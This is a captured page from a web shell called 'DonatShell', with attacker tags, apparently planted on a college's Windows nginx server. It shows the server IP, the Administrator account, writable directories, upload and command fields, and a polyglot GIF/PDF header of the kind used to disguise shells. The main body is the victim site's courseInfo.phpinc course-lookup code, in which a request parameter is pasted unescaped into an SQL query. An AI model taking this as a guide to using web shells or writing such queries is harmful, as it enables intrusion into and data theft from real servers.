GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Course/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Course//courseInfo.phpinc
<?
// Course/courseInfo.phpinc
// Get course info by f_courseNumber, courseNumber, or the URL.
// If f_courseNumber is null courseNumber is used. If courseNumber is null the URL is parsed.
// Includes: common/InstructorInfo.phpinc.
// Returns: CDN[0][1], courseNumber, coursePage, courseTitle, f_courseId, Instructor['Id']['Name']['Firstname']['Lastname']['eMail']
debugTrackBegin();
#echo __FILE__;

#if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1688 ) $courseInfoDEBUG = true;
if ( !isset($courseInfoDEBUG) ) $courseInfoDEBUG = false;

// Get the assignment name, type, and number from the URL.
// Get the assignment name.
if ( !isset($evaluationName) ) $evaluationName = formValue('evaluationName','');
if ( $evaluationName === false ) {
	$evaluationName = explode("/",dirname($_SERVER['PHP_SELF']));
	$evaluationName = array_pop($evaluationName);
}
if ( $courseInfoDEBUG ) @d_Var('$evaluationName',$evaluationName,'',false,true);
// Get the assignment type.
preg_match('/^\D*(?=\d)/', $evaluationName, $evaluationType);
if ( isset($evaluationType[0]) ) { $evaluationType = $evaluationType[0]; } else { $evaluationType = ''; }
if ( $courseInfoDEBUG ) printVar('$evaluationType',$evaluationType);
// Get the assignment number.
$evaluationNumber = substr($evaluationName,strlen($evaluationType));
if ( substr($evaluationNumber,0,1) =='0' ) $evaluationNumber = substr($evaluationNumber,1); // Remove any leading 0.
if ( $courseInfoDEBUG ) printVar('$evaluationNumber',$evaluationNumber);
// Get the previous assignment name and number.
$evaluationNamePrevious = $evaluationName;
#printVar('substr($evaluationName,-1)',substr($evaluationName,-1));
$endsInNumber = true;
if ( !preg_match_all("/.*?(\d+)$/", $evaluationName, $matches) ) {
	// Ends in a letter.
	if ( strtolower(substr($evaluationName,-1)) == 'a' ) {
		// Remove the 'a'.
		$evaluationNamePrevious = substr($evaluationNamePrevious,0,-1);
	} else {
		// Get the previous letter.
		$endsInNumber = false; // Stop previous number check below.
		if ( substr($evaluationNamePrevious,0,-1) == strtoupper(substr($evaluationNamePrevious,0,-1)) ) { // Setup for proper case.
			$letters = ' ABCDEFGHIJKLMNOPQRSTUVWXYZ'; // Uppercase letter.
		} else {
			$letters = ' abcdefghijklmnopqrstuvwxyz'; // Lowercase letter.
		}
		// Set the previous assignment name and number.
		$evaluationNamePrevious = substr($evaluationNamePrevious,0,-1).substr($letters,strpos($letters,substr($evaluationNumber,-1))-1,1);
	}
} elseif ( stripos($evaluationName,'.') !== false ) {
	$evaluationNamePrevious = substr($evaluationName,0,stripos($evaluationName,'.'));
	$endsInNumber = false; // Stop previous number check below.
}
if ( $endsInNumber ) {
	// Set the previous assignment name and number.
	#$evaluationNamePrevious -= 1;
	$evaluationNamePrevious = $evaluationType.twoDigit($evaluationNamePrevious);
}
if ( $courseInfoDEBUG ) printVar('$evaluationNamePrevious',$evaluationNamePrevious);
if ( $courseInfoDEBUG ) printVar('$evaluationNamePrevious',$evaluationNamePrevious);
#printVar('$endsInNumber',$endsInNumber);
#printVar('$evaluationNamePrevious',$evaluationNamePrevious);

// Get courseNumber from the URL query value - This will override any value previously in courseNumber.
$f_courseNumber = formValue('courseNumber');

#if ( $courseInfoDEBUG ) printVar('$f_courseNumber',$f_courseNumber);
#if ( $courseInfoDEBUG ) printVar('$courseNumber',$courseNumber);

if ( $f_courseNumber ) $courseNumber = $f_courseNumber;
// If we don't know the courseNumber get it from the URL
if ( !isset($courseNumber) || $courseNumber == '' ) {
	$courseNumber = '';
	// Get the path to the course.
	$__currentPath = explode("/",$_SERVER['PHP_SELF']);
	#printVar('count($__currentPath)',count($__currentPath));
	for ($i=2; $i<count($__currentPath)-1; $i++) {
		if ($courseNumber == '' && preg_match('/^[A-Z]{3,4}[0-9]{2,4}$/',$__currentPath[$i])) {
			$courseNumber = $__currentPath[$i];
			#printVar('$__currentPath[$i]',$__currentPath[$i]);
			#printVar('$courseNumber',$courseNumber);
		}
	}
}
if ( $courseInfoDEBUG ) printVar('$f_courseNumber',$f_courseNumber);
if ( $courseInfoDEBUG ) printVar('$courseNumber',$courseNumber);

// Get the instructor info from the URL and course number.
if ( !isset($Instructor) ) { require('common/InstructorInfo.phpinc'); }

$__pageOK = 0;
$CDN = courseDeptNumber($courseNumber);
/** /
// Get the courseTitle from legacy.ridgewater.edu or the database.
#printVar('$CDN',$CDN);
$__current_error_reporting = ini_get("error_reporting");
error_reporting(0);
$__default_socket_timeout_save = ini_get('default_socket_timeout'); 
ini_set('default_socket_timeout', 3); 
$coursePage = file_get_contents("http://legacy.ridgewater.edu/Courses/?CD=".$CDN[0]."&CN=".$CDN[1],false,null);
ini_set('default_socket_timeout', $__default_socket_timeout_save);
#echo "\$__courseRow=[".$__courseRow."]"."<br>\n";
if ($coursePage != '') {
	//echo 'strstr($__courseRow,"Information for this course is not currently available")='.strstr($__courseRow,"Information for this course is not currently available")."<br>\n";
	if ( !strstr($coursePage,"The legacy.ridgewater.edu website is currently down or unreachable.") && !strstr($coursePage,"Information for this course is not currently available.") ) {
		// Page load OK.
		$__pageOK = 1;
	} else {
		// Page load failed, ridgewater.edu is down for maintenance.
		$__pageOK = 0;
	}
} else {
	// Page load failed, unable to reach ridgewater.edu.
	$__pageOK = 0;
}
error_reporting($__current_error_reporting);
//echo "\$__pageOK=".$__pageOK."<br>\n";
if ($__pageOK) {
	$__courseTitleStart = stripos($coursePage,'<td width="*" class="courseTopBorderBold">')+42;
	$__courseTitleEnd = stripos($coursePage,'</td>',$__courseTitleStart);
	$__courseTitleLength = $__courseTitleEnd - $__courseTitleStart;
	$courseTitle = substr($coursePage, $__courseTitleStart,$__courseTitleLength);
} else {
	$courseTitle = '';
}
/**/
#d_Var('$Instructor',$Instructor,'d');

// Get the courseId and courseTitle from the database.
$courseNumberTitle = '';
if ( strpos($f_courseNumber,'CST') !== false ) { $courseNumberOther = str_replace('CST','CST',$courseNumber); } else { $courseNumberOther = str_replace('MMDT','CST',$courseNumber); }
$query = "
	 SELECT *
		 FROM course
		WHERE ( courseNumber = '".$courseNumber."' OR courseNumber = '".$courseNumberOther."' )
			AND userId = ".$Instructor['Id']."
 ORDER BY YRTR DESC, courseNumber
";
if ( $courseInfoDEBUG ) d_Var('$query',$query,'q',false,true);
$__courseResult = query_do($query);
if ( $courseInfoDEBUG ) d_Var('$__courseResult',$__courseResult,'',false,true);
$__courseCount = $_SESSION['qry']['count'];
if ( $courseInfoDEBUG ) d_Var('$__courseCount',$__courseCount,'',false,true);
if ($__courseCount) {
	$thisYRTR = '';
	$f_courseId = '';
	mysqli_data_seek($__courseResult, 0);
	while ($__courseRow = mysqli_fetch_assoc($__courseResult)) {
		if ( $__courseRow['courseInactive'] || $__courseRow['courseObsolete'] || $__courseRow['courseUnavailable'] ) {
			require('common/pageHeader.phpinc');
			?>
				<h2 style="text-align: center;"><?=$__courseRow['courseNumber']?> <?=$__courseRow['courseTitle']?> is not available.</h2>.
			<?
			require('common/pageFooter.phpinc');
			require('common/pageFooter.phpinc');
		}
		if ( $thisYRTR == '' ) $thisYRTR = $__courseRow['YRTR'];
		if (  $thisYRTR == $__courseRow['YRTR'] ) $f_courseId = listAppend($f_courseId, $__courseRow['courseId']);
		$courseTitle = $__courseRow['courseTitle'];
		$courseNumberTitle = listAppend($courseNumberTitle,$__courseRow['courseNumber'],'/');
	}
	$courseNumberTitle = listSort($courseNumberTitle,'/');
	#$__courseRow = mysqli_fetch_assoc($__courseResult);
	#$f_courseId = $__courseRow['courseId'];
	if ( $courseInfoDEBUG ) d_Var('$__pageOK',$__pageOK,'',false,true);
	if ( $courseInfoDEBUG ) d_Var('$courseTitle',$courseTitle,'',false,true);
	if ( $courseInfoDEBUG ) d_Var('$courseNumberTitle',$courseNumberTitle,'',false,true);
	if ( $courseInfoDEBUG ) d_Var('strstr($courseTitle,"<")',strstr($courseTitle,"<"),'',false,true);
	if ( $__pageOK && $courseTitle != '' && !strstr($courseTitle,"<") ) {
		/** /
		// Update course title.
		$query = "
		UPDATE course 
			 SET courseTitle = '".$courseTitle."'
		 WHERE courseId = ".$__courseRow['courseId']."
		";
		$__courseUpdate = query_do($query);
		/**/
	}
}
if ( $courseInfoDEBUG ) d_Var('$courseTitle',$courseTitle,'d');
// Set courseDirectory.
$courseDirectory = '/'.str_replace(' ','',$Instructor['Name']).'/'.$courseNumber.'/';

// Clean up.
unset($__courseCount);
unset($__courseResult);
unset($__courseRow);
unset($__courseTitleEnd);
unset($__courseTitleLength);
unset($__courseTitleStart);
unset($__courseUpdate);
unset($__current_error_reporting);
unset($__default_socket_timeout_save);
#unset($__pageOK);
unset($http_response_header);
unset($i);
#$courseInfoDEBUG = true;
if ( $courseInfoDEBUG ) {
	printVar("\$_SERVER['PHP_SELF']",$_SERVER['PHP_SELF'],'/');
	printVar("php_self()",php_self(),'f');
	printVar('$courseNumber',$courseNumber,'f');
	printVar('$courseTitle',$courseTitle,'f');
	printVar('$f_courseId',$f_courseId,'f');
	printVar('$Instructor',$Instructor,'f');
	#$thisFile = __FILE__; require('common/pageFooter.phpinc');
}

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team